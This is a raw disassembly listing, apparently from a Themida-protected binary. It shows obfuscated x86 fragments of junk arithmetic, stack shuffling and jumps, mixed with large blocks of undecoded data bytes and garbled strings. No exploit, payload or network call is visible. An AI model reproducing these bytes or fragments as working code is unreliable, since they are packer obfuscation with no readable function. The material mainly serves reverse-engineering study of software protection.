		mov	[esp], ecx
		jmp	loc_50930F
; ---------------------------------------------------------------------------
		db 68h,	0ADh, 3Eh
		dd 14890000h, 4DE95424h, 8900007Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 24248B24h, 1C8BD889h, 0F111E924h,	555DFFFFh
		dd 0FFCBC8E9h, 58BDE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D20E:				; CODE XREF: Themida_:00505297j
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_504958
; ---------------------------------------------------------------------------


loc_50D218:				; CODE XREF: Themida_:00502D8Ej
		pop	eax
		add	ebp, eax
		pop	eax
		push	eax
		push	ecx
		mov	ecx, 2
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_516587
; ---------------------------------------------------------------------------


loc_50D24C:				; CODE XREF: Themida_:0050775Fj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	2D3Eh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, 627760A7h
		jmp	loc_507B69
; ---------------------------------------------------------------------------


loc_50D277:				; CODE XREF: Themida_:0050FEB8j
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_505DCD
; ---------------------------------------------------------------------------
		dw 0D4BBh
		dd 3124E51Ch, 2434FFDAh, 4C4815Bh, 81000000h, 7F1954EBh
		dd 68D3016Bh, 6F39h, 0BF243C89h, 6CBA6280h, 5DE9C781h
		dd 0CF8175DCh, 50152C8Eh, 0D410F781h, 54E9DCE2h, 5DFFFFDAh
		dd 8B2434FFh, 0C4832404h, 0E2895204h, 4C281h, 10E90000h
		dd 1000036h, 0BA525DEEh, 4, 0E95AD601h,	0FFFFD065h, 5266C328h
		dd 0D300FEB2h, 24148B66h, 6602C483h, 6EA06850h,	0C890000h
		dd 8857B124h, 686659CCh, 89661D04h, 33B02404h, 5866C300h
		dd 46E9E328h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D31F:				; CODE XREF: Themida_:005033ACj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_516E6A
; ---------------------------------------------------------------------------
		db 29h
		dd 67E951C3h, 1FFFF6Eh,	7AB850DEh, 0E905902Dh, 3B4Bh, 5BFDE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D346:				; CODE XREF: Themida_:00515270j
		push	dword ptr [esp]
		pop	edx
		push	4CDDh
		jmp	loc_506518
; ---------------------------------------------------------------------------
		dd 537BBF57h, 12E959AAh, 0BA00005Dh, 1A4E090Ch,	7983EA81h
		dd 2AE948D7h, 8F000075h, 248B2404h, 24042124h, 574DE99Ch
		dd 0EC81FFFFh, 4, 0BF243C89h, 19B75055h, 5230B951h, 0C1816E9Eh
		dd 0F146F0Dh, 3DFCE9h, 4BA00h, 8EE90000h, 100009Bh, 5EE81D6h
		dd 0E952FB5Ch, 0FFFFE990h, 0E92434FFh, 0FFFFD7A0h, 0CC922E2Dh
		dd 0E9C60128h, 4F49h, 95BB6653h, 66536674h, 0D25AE956h
		dd 48BFFFFh, 4C48324h, 4C481h, 0BD550000h, 4, 826DE9h
		dd 4C28100h, 81000000h,	4C2h, 24148700h, 0BF31E95Ch, 0E789FFFFh
		dd 2B54E9h, 87595F00h, 0E95C2414h, 0FFFF56B7h, 181D98BAh
		dd 5AD0013Dh, 6BC1E9h, 0C1815900h, 4B1D4718h, 66E9CA21h
		dd 1FFFF93h, 241C8BD8h,	4C481h,	4AE90000h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50D43F:				; CODE XREF: Themida_:005174E9j
		push	ebx
		mov	ebx, 50BC35F8h
		xor	ebx, 76741A88h
		jmp	loc_517A1C
; ---------------------------------------------------------------------------
		dd 0E332EB81h, 0DD890957h, 6703E9h, 4C28100h, 83000000h
		dd 148704C2h, 0A0F3E924h, 682DFFFFh, 2D755319h,	564504FDh
		dd 81241C8Bh, 4C4h, 0EE3FE900h,	0C681FFFFh, 1144C77Bh
		dd 685EF731h, 5509h, 57243C89h,	254BE9h
		db 0
; ---------------------------------------------------------------------------


loc_50D49D:				; CODE XREF: Themida_:0050DD54j
		add	ecx, 4FDB082Bh
		sub	ecx, ebx
		push	ebx
		mov	ebx, 4FDB082Bh
		add	ecx, 7E14558Eh
		sub	ecx, ebx
		sub	ecx, 7E14558Eh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_510507
; ---------------------------------------------------------------------------


loc_50D4C2:				; CODE XREF: Themida_:0050892Fj
		xchg	edi, [esp]
		pop	esp
		mov	eax, edx
		pop	edx
		add	[esp+4], eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_50EBAE
; ---------------------------------------------------------------------------


loc_50D4E0:				; CODE XREF: Themida_:00507843j
		pop	ebp
		push	edi
		mov	edi, 4
		add	eax, 57F24208h
		add	eax, edi
		sub	eax, 57F24208h
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_50CD94
; ---------------------------------------------------------------------------


loc_50D504:				; CODE XREF: Themida_:0050C04Dj
		xchg	ebp, [esp]
		jmp	loc_50B982
; ---------------------------------------------------------------------------


loc_50D50C:				; CODE XREF: Themida_:00514A12j
		xor	ebx, [esp]
		jmp	loc_50E71C
; ---------------------------------------------------------------------------
		dd 0D90BCBB8h, 0E9E801E7h, 9DAAh, 0C71B2D05h, 7080E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D52A:				; CODE XREF: Themida_:00509433j
		push	eax
		mov	eax, 75831C85h
		jmp	loc_512C14
; ---------------------------------------------------------------------------


loc_50D535:				; CODE XREF: Themida_:0050674Dj
		mov	edi, 72123D61h
		sub	ecx, edi
		pop	edi
		mov	ebx, ecx
		pop	ecx
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 20h
		push	ebp
		mov	ebp, 27313AF4h
		add	eax, ebp
		pop	ebp
		sub	eax, 7303DAEh
		add	eax, edi
		add	eax, 7303DAEh
		sub	eax, 27313AF4h
		mov	dword ptr [eax], 2C292640h
		jmp	loc_509407
; ---------------------------------------------------------------------------
		dd 5AFDB951h, 0E9490A24h, 0FFFFE182h, 0BBE9FE88h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D597:				; CODE XREF: Themida_:00503D6Bj
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_50DA5D
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 240C895Ch, 0FFBB68E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50D5C9:				; CODE XREF: Themida_:0050BE00j
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		push	27F03E00h
		jmp	loc_50E577
; ---------------------------------------------------------------------------


loc_50D5D9:				; CODE XREF: Themida_:005161E2j
		push	edi
		jmp	loc_50527A
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF54E7h, 0AE6AE953h, 0EB81FFFFh, 283C1DEEh, 0DC8B951h
		dd 0D187433Eh, 0D131DAF7h, 0D131CA31h, 249FE9h,	24343300h
		dd 8CFCE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50D60E:				; CODE XREF: Themida_:005090EDj
		sub	esp, 4
		mov	[esp], ecx
		push	0EA40B42h
		mov	ecx, [esp]
		add	esp, 4
		or	ecx, 341F3C4Fh
		xor	ecx, 4D325AA3h
		jmp	loc_5098F3
; ---------------------------------------------------------------------------
		dd 8104C483h, 4ECh, 24048900h, 4B8h, 4FC28100h,	1644B53h
		dd 4FB951C2h, 29644B53h, 240C8BCAh, 4C481h, 12E90000h
		dd 5A00006Eh, 3768C301h, 89000005h, 69E9242Ch, 52FFFF9Fh
		dd 0EA809FB2h, 8BD02882h, 0C4812414h, 4, 1D04D800h, 0FFA2D1E9h
		dd 240433FFh, 33240431h, 248B2404h, 2434FF24h, 8B2434FFh
		dd 0C4832404h, 4C48304h, 53CA68h, 90FCE900h, 15A0000h
		dd 0B5C581CDh, 814D8327h, 830BFEC5h, 240C8B4Fh,	3304C483h
		dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF7049h
; ---------------------------------------------------------------------------


loc_50D6D4:				; CODE XREF: Themida_:00504F15j
		sub	ecx, 3FD40A83h
		jmp	loc_50BEBA
; ---------------------------------------------------------------------------


loc_50D6DF:				; CODE XREF: Themida_:005149B5j
		sub	ebp, 1A9F67Ch
		add	esi, ebp
		pop	ebp
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_51588D
; ---------------------------------------------------------------------------


loc_50D6F9:				; CODE XREF: Themida_:00507895j
		mov	ecx, 7BD00056h
		mov	edx, 279D1B94h
		xor	edx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_51289C
; ---------------------------------------------------------------------------
		dd 81664566h, 0E90FD7C5h, 0FFFF8397h
; ---------------------------------------------------------------------------


loc_50D728:				; CODE XREF: Themida_:0050D9F7j
		pop	ebp
		xchg	ecx, edx
		not	edx
		push	4F73h
		mov	[esp], ecx
		jmp	loc_50A5A6
; ---------------------------------------------------------------------------
		dw 0EA31h
		dd 83C1815Dh, 0E979ED11h, 0FFFFD7E9h
; ---------------------------------------------------------------------------


loc_50D748:				; CODE XREF: Themida_:00506196j
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		xchg	ebx, ecx
		xchg	ecx, ebp
		xor	edi, ebp
		jmp	loc_513AF2
; ---------------------------------------------------------------------------
		db 5, 0BFh, 78h
		dd 34FF35C6h, 4B9AE924h, 0EA800000h, 0D1885102h, 5BE9CB88h
		dd 0F600006Ch, 66592414h, 88C88850h, 0D4C6E9F1h, 0B951FFFFh
		dd 3D7F1224h, 0B850D9F7h, 0AAC0791Ah, 2958C101h, 67A8E9CAh
		dd 0F7090000h, 1F7815Eh, 8767B576h, 199468F7h, 8AE90000h
		dd 68000099h, 3653h, 0B9240C89h, 4, 5749C281h, 0CA015CA0h
		dd 0FFD691E9h, 24048BFFh, 81E28952h, 4C2h, 4C28300h, 31241433h
		dd 14332414h, 24248B24h, 272468h, 51D6E900h, 30590000h
		dd 241C8BF8h, 6D07E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D7FA:				; CODE XREF: Themida_:005141CBj
		mov	cl, 58h
		xor	cl, bl
		jmp	loc_51194A
; ---------------------------------------------------------------------------


loc_50D803:				; CODE XREF: Themida_:00510998j
		mov	ebp, ebx
		pop	ebx
		push	0
		sub	dword ptr [esp], 487668F1h
		jmp	loc_5163A9
; ---------------------------------------------------------------------------


loc_50D817:				; CODE XREF: Themida_:0050664Cj
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_50AAD0
; ---------------------------------------------------------------------------
		db 1, 0C2h, 58h
		dd 0E9241487h, 1B48h, 8324048Bh, 575304C4h, 7A4707BFh
		dd 470BBB48h, 0EAE9487Ah, 0BAFFFFD9h, 7B5A35D6h, 5A35D2BEh
		dd 5AD6317Bh, 5550E9h, 0A7F78100h, 8142D860h, 4742BF7h
		dd 8E7C1B7h, 4F01EF83h,	74E9D7F7h, 5FFFFFF7h, 4B951h, 0EF810000h
		dd 5B00190h, 4E76EF81h,	0CF013D30h, 4E76C781h, 0EE93D30h
		dd 87000056h, 248B243Ch, 243C8924h, 772668h, 242C8900h
		dd 0FFE721E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50D8A5:				; CODE XREF: Themida_:0050BD3Fj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_513AC6
; ---------------------------------------------------------------------------
		dd 0E33B7ABDh, 5BDD3161h, 1D54E9h
		db 0
; ---------------------------------------------------------------------------


loc_50D8BD:				; CODE XREF: Themida_:00515A87j
		pop	esp
		mov	[esp], eax
		mov	eax, 2FA2108Eh
		mov	edi, eax
		pop	eax
		jmp	loc_515E99
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 24048B00h, 4C481h, 55680000h, 89000019h, 4BE2434h
		dd 2D000000h, 37448B8h,	0B805F001h, 5E037448h, 0A0D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_50D8FD:				; CODE XREF: Themida_:00511AE7j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		push	ebx
		jmp	loc_50C8DA
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C7810000h, 4, 8B243C87h, 0EA682424h, 89000017h
		dd 0E9572434h, 26CBh, 0BE243489h, 4D05F0Bh, 7EEBBB53h
		dd 5C29531Ch, 0E95B0824h, 731h,	8B243C29h, 0C483243Ch
		dd 7EFC104h, 8107E7C1h,	1EFh, 5CEEE900h, 0E95C0000h, 445h
; ---------------------------------------------------------------------------


loc_50D96C:				; CODE XREF: Themida_:005175DAj
		push	edi
		mov	edi, 262C315Ah
		jmp	loc_513B42
; ---------------------------------------------------------------------------
		db 56h
		dd 0FFD93EE9h, 490268FFh, 35582EA5h, 0D15AB6FDh, 6101E9h
		db 0
; ---------------------------------------------------------------------------


loc_50D98D:				; CODE XREF: Themida_:005100B7j
		mov	[esp], esi
		mov	esi, 4000h
		mov	ebp, esi
		jmp	loc_512D4E
; ---------------------------------------------------------------------------
		dd 96C1815Ch, 89629932h, 2434FFCBh, 820EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50D9AE:				; CODE XREF: Themida_:005075D3j
		mov	ebx, [esp]
		jmp	loc_51015B
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4E981h, 0C870000h, 0F43BE924h, 0BA52FFFFh, 4, 4738C181h
		dd 68E93A72h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50D9DB:				; CODE XREF: Themida_:00513915j
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		xchg	ecx, edx
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	ecx, 6C265821h
		sub	ecx, ebp
		add	ecx, 6C265821h
		jmp	loc_50D728
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 0ED685024h, 58634333h, 0E905E8C1h
		dd 0FFFF671Ch
dword_50DA14	dd 582434FFh, 62BB68h, 243C8900h, 9D55E9h, 5C80100h, 514201BDh
					; DATA XREF: Themida_:005029B4o
		dd 0D315822Dh, 0E951591Eh, 9CFDh
; ---------------------------------------------------------------------------


loc_50DA38:				; CODE XREF: Themida_:00513D7Fj
		mov	ebp, eax
		pop	eax
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 2EA6828h
		push	edx
		mov	edx, 4A921845h
		and	ebp, edx
		pop	edx
		push	edi
		push	45BC7F41h
		jmp	loc_5144F2
; ---------------------------------------------------------------------------


loc_50DA5D:				; CODE XREF: Themida_:0050D5A9j
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, 584E6233h
		sub	edi, ebp
		add	edi, 584E6233h
		pop	ebp
		push	edi
		jmp	loc_517DAA
; ---------------------------------------------------------------------------
aNrS?6		db '¸!NR>é?6',0
		align 2


loc_50DA8A:				; CODE XREF: Themida_:00503A3Ej
		xor	edi, esi
		jmp	loc_516345
; ---------------------------------------------------------------------------


loc_50DA91:				; CODE XREF: Themida_:00506747j
		mov	edi, esp
		add	edi, 4
		jmp	loc_507592
; ---------------------------------------------------------------------------
		dw 487h
aSM		db '$é³m',0
		align 2
		dw 0C181h
		dd 744A76AAh, 0BD55D101h, 1A7B3D3Ch, 26E9DDF7h,	5E000023h
		dd 520CE952h, 0E959FFFFh, 9486h
; ---------------------------------------------------------------------------


loc_50DAC8:				; CODE XREF: Themida_:00504BEEj
		pop	eax
		add	esp, 4
		sub	edi, ebx
		push	edx
		mov	edx, 1F753914h
		add	edi, edx
		jmp	loc_502EC8
; ---------------------------------------------------------------------------


loc_50DADB:				; CODE XREF: Themida_:0050A810j
		mov	[esp], edx
		mov	edx, 5B880893h
		add	edx, 1
		jmp	loc_5156F7
; ---------------------------------------------------------------------------


loc_50DAEB:				; CODE XREF: Themida_:0050A898j
		not	edx
		jmp	loc_513CE6
; ---------------------------------------------------------------------------
word_50DAF2	dw 28Fh			; DATA XREF: Themida_:00502928o
		dd 0FF4FD2E9h, 5AD129FFh, 8124148Bh, 4C4h, 4EC8300h, 0FF240C89h
		dd 0E9042474h, 0FFFFBF0Bh, 0C281DA01h, 63F14B2h, 4EC835Bh
		dd 0E9241489h, 0FFFF9910h, 8324048Bh, 1C8B04C4h, 0E47DE924h
		dd 0F388FFFFh, 66DD285Ah, 9C62E95Bh, 34870000h,	98DCE924h
		dd 14890000h, 28ACB624h, 59EBE9F0h, 0FE01FFFFh,	8C6FE9h
		db 0
off_50DB5D	dd offset dword_450050+3818h ; DATA XREF: Themida_:005027F0o
		align 2
		dw 2489h
		dd 4BF86824h, 2C890000h, 0E9E58924h, 0FFFFDE3Eh, 2FE5CD81h
		dd 0CD81013Dh, 7F9A7456h, 7FF3F581h, 53577FBFh,	0A83D86BBh
		dd 5BDF891Ch, 228AE9h, 0EB815D00h, 447F6100h, 11E9DD01h
		dd 66FFFFF8h, 290C381h,	0E9DD8966h, 4857h, 4C481h, 0F6810000h
		dd 0AEC9DCEBh, 492F7A05h, 55F00119h, 734468h, 240C8900h
		dd 523E6B9h, 5970E94Ch,	1C890000h, 0E962B724h, 7695h
; ---------------------------------------------------------------------------


loc_50DBE0:				; CODE XREF: Themida_:00515D96j
		add	edx, 4
		push	edi
		push	eax
		push	63AA1AE3h
		pop	eax
		shr	eax, 1
		xor	eax, 4A8D0280h
		mov	edi, eax
		pop	eax
		jmp	loc_50EE94
; ---------------------------------------------------------------------------


loc_50DBFD:				; CODE XREF: Themida_:00513380j
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5039FB
; ---------------------------------------------------------------------------
		db 1
		dd 0E95359CEh, 0FFFFC0C3h
; ---------------------------------------------------------------------------


loc_50DC14:				; CODE XREF: Themida_:00502BD5j
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_5173EE
; ---------------------------------------------------------------------------


loc_50DC20:				; CODE XREF: Themida_:0050C286j
		pop	ebp
		add	ebp, 64CE1145h
		not	ebp
		jmp	loc_50452B
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 0E95C2404h, 0FFFF5BD5h, 1390E958h
		db 2 dup(0)
word_50DC42	dw 8B66h		; DATA XREF: Themida_:00502804o
		dd 68522404h, 3492h, 8904EC83h,	4812424h, 424h,	24048F00h
		dd 4240483h, 4EC815Ah, 89000000h, 4BB241Ch, 1000000h, 6213E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DC76:				; CODE XREF: Themida_:00510599j
		sub	ecx, 52215BBDh
		sub	ecx, eax
		add	ecx, 52215BBDh
		pop	eax
		add	edx, 1FD17B21h
		add	edx, ecx
		sub	edx, 1FD17B21h
		jmp	loc_512BA2
; ---------------------------------------------------------------------------
aQS4		db 9,'ï]é',0Bh,'4',0
		align 10h
		dd 315BD889h, 2434FFC2h, 8324048Bh, 54E904C4h, 5800001Dh
		dd 305E68FDh, 3C890000h, 56BE5624h, 0E950A83Eh,	47B7h
		dd 0E934EE80h, 6370h
dword_50DCD0	dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFA048h
					; DATA XREF: Themida_:00502A60o
; ---------------------------------------------------------------------------


loc_50DCE0:				; CODE XREF: Themida_:00513FFFj
		push	713Dh
		mov	[esp], edx
		mov	edx, 6CFD38BBh
		xchg	edi, edx
		xchg	ebp, edi
		jmp	loc_506420
; ---------------------------------------------------------------------------


loc_50DCF6:				; CODE XREF: Themida_:0050F276j
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, edx
		jmp	loc_512D79
; ---------------------------------------------------------------------------
		db 0C0h, 0E2h, 4
		dd 80A5EA80h, 0E2C091F2h, 0E0EA8003h, 0D028CC2Ch, 95B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_50DD1D:				; CODE XREF: Themida_:00506442j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_50EB9B
; ---------------------------------------------------------------------------


loc_50DD27:				; CODE XREF: Themida_:0050F022j
		add	esp, 4
		push	edx
		mov	edx, 3881954h
		push	6866h
		jmp	loc_509282
; ---------------------------------------------------------------------------


loc_50DD3D:				; CODE XREF: Themida_:0050EE8Fj
		mov	ecx, 16195C1Ch
		add	ecx, 38FD4F9Eh
		add	ecx, 6B8E7F86h
		add	ecx, 2D1372EEh
		jmp	loc_50D49D
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
aQsig		db 'Qé›G',0
		align 2
		dw 3C8Bh
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 311DEB81h, 0A682AA3h
		dd 89000043h, 5AE9240Ch
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50DD87:				; CODE XREF: Themida_:005156C2j
		pop	ecx
		xor	ebx, [esp]
		jmp	loc_5087E3
; ---------------------------------------------------------------------------
		dd 783BE82Dh, 58C52908h, 2D5DE989h, 734B5CF2h, 5FABE9h
		dd 24248B00h, 9C240CFEh, 0FF4D1AE9h, 240C8BFFh,	31F968h
		dd 241C8900h, 0B068E389h, 8900003Eh, 0BF572404h, 43977B10h
		dd 829E7AB8h, 0E9F82993h, 4AA7h
; ---------------------------------------------------------------------------


loc_50DDD8:				; CODE XREF: Themida_:00503475j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_51427B
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 29h
		dd 5DF9E9h, 0E9E58800h,	9507h
; ---------------------------------------------------------------------------


loc_50DDFC:				; CODE XREF: Themida_:00516681j
		not	ebp
		inc	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 500F06D1h
		sub	ebp, 0D45F21Eh
		jmp	loc_511B59
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0Ch
		dd 5E05F61Bh, 4EF81h, 3C330000h, 243C3124h, 5C243C33h
		dd 53241489h, 7CB2E9B3h, 535BDA28h, 0C7FE7BB7h,	0FF5EE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DE41:				; CODE XREF: Themida_:00509177j
		pop	ebx
		jmp	loc_511E8E
; ---------------------------------------------------------------------------
		db 81h
		dd 65D3F8C7h, 5FFE89D6h, 880EBE56h, 8AE95362h, 8300009Fh
		dd 0DFF704C4h, 6BE4EF81h, 0C1811052h, 29556E24h, 0BD55F901h
		dd 29556E24h, 2C8BE929h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0FFCE60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DE91:				; CODE XREF: Themida_:00507B64j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7C52ED3h
		jmp	loc_502F33
; ---------------------------------------------------------------------------
		dd 3568C781h, 0C78146CBh, 5B0F0F73h, 8324048Bh,	3C3304C4h
		dd 9853E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DEBE:				; CODE XREF: Themida_:00502ECEj
		add	ebp, 4
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3371023Bh
		push	ebx
		push	579E3ADDh
		pop	ebx
		neg	ebx
		xor	ebx, 8B38B63Eh
		jmp	loc_50E986
; ---------------------------------------------------------------------------
		dd 4EC8157h, 89000000h,	4812424h, 424h,	0B1685F00h, 8900001Ah
		dd 0F4E92414h, 87FFFFCDh, 248B240Ch, 2404FF24h,	4BB9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50DF12:				; CODE XREF: Themida_:0050E53Fj
		add	ebp, ebx
		add	ebp, 1F2C3F0Ah
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_50AA2F
; ---------------------------------------------------------------------------
		dd 80E78159h, 51038821h, 139F68h, 24048900h, 0FF9843E9h
		dd 81D729FFh, 0BE0E53C7h, 3C335A1Bh, 8588E924h,	0C5810000h
		dd 2A2FD724h, 0B6E9EF01h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50DF6F:				; CODE XREF: Themida_:00504985j
		mov	[esp], eax
		push	ebx
		jmp	loc_506B8A
; ---------------------------------------------------------------------------


loc_50DF78:				; CODE XREF: Themida_:005172C5j
		pop	esp
		mov	[esp], ebx
		mov	edi, [esp]
		jmp	loc_508850
; ---------------------------------------------------------------------------


loc_50DF84:				; CODE XREF: Themida_:00510023j
		push	146Eh
		mov	[esp], esi
		jmp	loc_5030C9
; ---------------------------------------------------------------------------


loc_50DF91:				; CODE XREF: Themida_:00509555j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 2
		add	edi, 64872AF2h
		add	edi, edx
		push	ebx
		jmp	loc_50F931
; ---------------------------------------------------------------------------


loc_50DFB4:				; CODE XREF: Themida_:0050C11Cj
		mov	ebp, ecx
		pop	ecx
		add	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_50C22F
; ---------------------------------------------------------------------------


loc_50DFC1:				; CODE XREF: Themida_:00509F49j
		pop	ecx
		jmp	loc_50EF24
; ---------------------------------------------------------------------------
		db 58h
		dd 15BD829h, 2434FFC3h,	0FFF401E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50DFD5:				; CODE XREF: Themida_:00514B96j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_506361
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 31A539ADh, 4EC81h, 1C890000h, 4E8BB24h, 22E97D95h, 8BFFFFADh
		dd 0C4812434h, 4, 309FE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E019:				; CODE XREF: Themida_:0050343Aj
		shl	edi, 6
		xor	edi, 0AED2F57Fh
		mov	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 6F986B83h
		xchg	esi, ebx
		dec	esi
		xchg	esi, ebx
		inc	ebx
		shr	ebx, 1
		neg	ebx
		jmp	loc_5054E3
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 6E017A6Ah, 1E2ECE81h, 0C4E928F9h, 8B000084h,	89512424h
		dd 0F960E9E1h, 0D4B4FFFFh, 48BE300h, 0E0895024h, 405h
		dd 40500h, 4870000h, 24248B24h,	634668h, 24048900h, 5EF3E9h
		dd 24740100h, 6B7EE904h, 0E9500000h, 1829h
dword_50E08C	dd 0E924248Bh, 0FFFF4A37h ; DATA XREF: Themida_:005028F8o
; ---------------------------------------------------------------------------


loc_50E094:				; CODE XREF: Themida_:0050B183j
		push	4268681Ah
		pop	ebp
		inc	ebp
		shr	ebp, 6
		add	ebp, 6FC271D9h
		sub	ebp, 3D2FE20Ah
		jmp	loc_5100BC
; ---------------------------------------------------------------------------
		db 56h
		dd 8E6EBDBEh, 9AF7B93Bh, 0F101E736h, 1860E95Eh,	0B8500000h
		dd 752959EAh, 4258C289h, 2E70CA81h, 0E2C104ADh,	5E28107h
		dd 8169362Ch, 5B1AA9F2h, 0E9D68923h, 93A0h
; ---------------------------------------------------------------------------


loc_50E0E8:				; CODE XREF: Themida_:00503DE6j
		mov	[esp], esi
		jmp	loc_50E37A
; ---------------------------------------------------------------------------
		dd 0E9240489h, 254Bh, 0C5815D54h, 4, 4BD5553h, 89447F61h
		dd 0FA87E9EBh, 5653FFFFh, 0E02C0ABEh, 9AEE8158h, 89EE211Dh
		dd 1AE95EF3h, 0FF000095h, 1EE92434h, 54FFFF7Bh,	0F47CE95Eh
		db 2 dup(0FFh)
word_50E132	dw 8B66h		; DATA XREF: Themida_:00502800o
		dd 0EC81240Ch, 4, 83243C89h, 248904ECh,	0B9515324h, 4
		dd 3D7DE9h, 59C80100h, 0BB53555Fh, 772C4335h, 0FFF2EFE9h
		dd 4C481FFh, 55000000h,	0CE1630BDh, 34E95059h, 0F7000034h
		dd 5EAC1D2h, 0C281DAF7h, 2B6C7B4Dh, 0F100E953h,	4E68FFFFh
		dd 89000065h, 0E2892414h, 4EC81h, 0C890000h, 1999B924h
		dd 0E1C127D3h, 191E6803h, 0EEE90000h, 89FFFF7Bh, 54B1240Ch
		dd 7EB75351h, 88FA8852h, 0C05B5AD5h, 0F58007E5h, 0DCC380C1h
		dd 0EB80EB28h, 0EB8059DCh, 5158E941h, 0C9810000h, 0D164BD5h
		dd 0B91CF181h, 0CD897C77h, 81240C8Bh, 4C4h, 0ADED8100h
		dd 8171C11Dh, 885910F5h, 21EA81EFh, 0E9495B54h,	77A9h
		dd 0D036EB81h, 32E999E2h
		db 8Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50E20B:				; CODE XREF: Themida_:005164C7j
		pop	ebx
		push	edi
		jmp	loc_516163
; ---------------------------------------------------------------------------


